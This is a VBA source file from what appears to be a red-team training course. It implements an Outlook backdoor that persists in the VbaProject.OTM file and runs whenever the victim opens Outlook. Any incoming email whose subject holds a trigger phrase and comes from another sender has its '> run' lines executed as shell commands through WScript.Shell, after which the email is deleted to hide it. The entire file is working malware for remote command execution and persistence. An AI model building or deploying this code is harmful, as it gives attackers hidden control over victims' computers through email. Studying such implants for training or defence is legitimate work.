'#
'# Copyright (C) Binary-Offensive.com Mariusz Banach - All Rights Reserved
'# Unauthorized copying of this file, via any medium is strictly prohibited.
'#
'# This file/directory was part of Modern Initial Access and Evasion Tactics training
'# delivered by binary-offensive.com and was provided as supplemental material.
'# 
'# Authored by Mariusz Banach <mb@binary-offensive.com>, @mariuszbit / mgeeky
'#
'
' Outlook Backdoor - VBA code that will live in %APPDATA%\Microsoft\Outlook\VbaProject.OTM and will
' be executed anytime victim opens Outlook.
'
' Attackers can then send emails with subject containing "FOOBAR FOOBAR FOOBAR",
' to have below code process incoming email, extract commands from it, run them and then delete such an email.
'
' Each command needs to start with ">" followed by a space character and then command's verb and parameters.
'
' Commands supported:
'
'   - Runs shell command specified in <shell> through WScript.Shell.Exec and returns output
'       "> run <shell>"
'

Private Sub Application_NewMailEx(ByVal obf_EntryIDCollection As String)
    On Error GoTo obf_ProcError
    Dim obf_oNewMailItem As Outlook.MailItem
    Dim obf_appNameSpace As Outlook.NameSpace
   
    Set obf_appNameSpace = Application.Session
   
    Select Case obf_appNameSpace.GetItemFromID(obf_EntryIDCollection).Class
       Case Is = olMail
           Set obf_oNewMailItem = obf_appNameSpace.GetItemFromID(obf_EntryIDCollection)
           obf_ItemAdd obf_oNewMailItem
    End Select
obf_ProcError:
End Sub

Sub obf_LaunchCommand(ByVal obf_command As String)
    On Error GoTo obf_ProcError
    Dim obf_launcher As String
    Dim obf_cmd

    With CreateObject("WScript.Shell")
        With .Exec(obf_command)
            ' Turns out there's no need to terminate spawned command
            '.Terminate
        End With
    End With
obf_ProcError:
End Sub

Public Function obf_RunShell(obf_command As String) As String
    Dim obf_output As Object
    Dim obf_s As String
    Dim obf_line As String

    With CreateObject("WScript.Shell")
        With .Exec(obf_command)
            Set obf_output = .StdOut
        End With
    End With

    While Not obf_output.AtEndOfStream
        obf_line = obf_output.ReadLine
        If obf_line <> "" Then obf_s = obf_s & obf_line & vbCrLf
    Wend

    obf_RunShell = obf_s
End Function

Private Function obf_handleRun(ByVal obf_mailItem As Outlook.MailItem, ByVal obf_param As String) As String
    On Error GoTo obf_ProcError
    Dim obf_output, obf_reply, obf_text

    If Len(obf_param) = 0 Then
        Exit Function
    End If

    obf_output = obf_RunShell(obf_param)
    obf_handleRun = obf_output

obf_ProcError:
End Function

Private Sub obf_ProcessEmail(ByVal obf_mailItem As Outlook.MailItem)
    On Error GoTo obf_ProcError
    Dim obf_body, obf_command, obf_pos
    Dim obf_lines() As String
    Dim obf_processed As Object
    Dim obf_OutApp As Outlook.Application

    obf_body = Trim(obf_mailItem.Body)
    If Len(obf_body) = 0 Then
        Exit Sub
    End If

    obf_lines = Split(obf_body, vbLf)
    
    Set obf_OutApp = New Outlook.Application
    Set obf_processed = CreateObject("Scripting.Dictionary")

    For Each obf_line In obf_lines
        obf_line = Trim(Replace(Replace(obf_line, Chr(10), ""), Chr(13), ""))

        If (Len(obf_line) > 0) And (InStr(1, obf_line, ">") = 1) Then
            obf_line = Trim(Right(obf_line, Len(obf_line) - 1))
            obf_pos = InStr(1, obf_line, " ")
            
            If (Not obf_processed.Exists(obf_line)) And (obf_pos > 0) Then
                obf_processed.Add obf_line, True
                obf_command = Trim(LCase(Mid(obf_line, 1, obf_pos)))
                obf_params = Trim(Mid(obf_line, obf_pos + 1))
                
                With CreateObject("WScript.Shell")
                    obf_params = .ExpandEnvironmentStrings(obf_params)
                End With

                If obf_command = "run" And Len(obf_params) > 0 Then
                    obf_handleRun obf_mailItem, obf_params
                End If
            End If
        End If
    Next

obf_ProcError:
End Sub

Private Sub obf_ItemAdd(ByVal obf_mailItem As MailItem)
    On Error Resume Next
    Dim obf_self As Boolean
    Dim obf_account As Outlook.Account
    
    obf_self = False
    
    For Each obf_account In Outlook.Session.Accounts
        If StrComp(LCase(obf_mailItem.SenderEmailAddress), LCase(obf_account.SmtpAddress), vbTextCompare) = 0 Then
            obf_self = True
        End If
    Next
    
    If (Not obf_self) And (InStr(obf_mailItem.Subject, "FOOBAR FOOBAR FOOBAR") > 0) Then
        obf_ProcessEmail obf_mailItem
        obf_mailItem.Delete
    End If

    Set obf_mailItem = Nothing
End Sub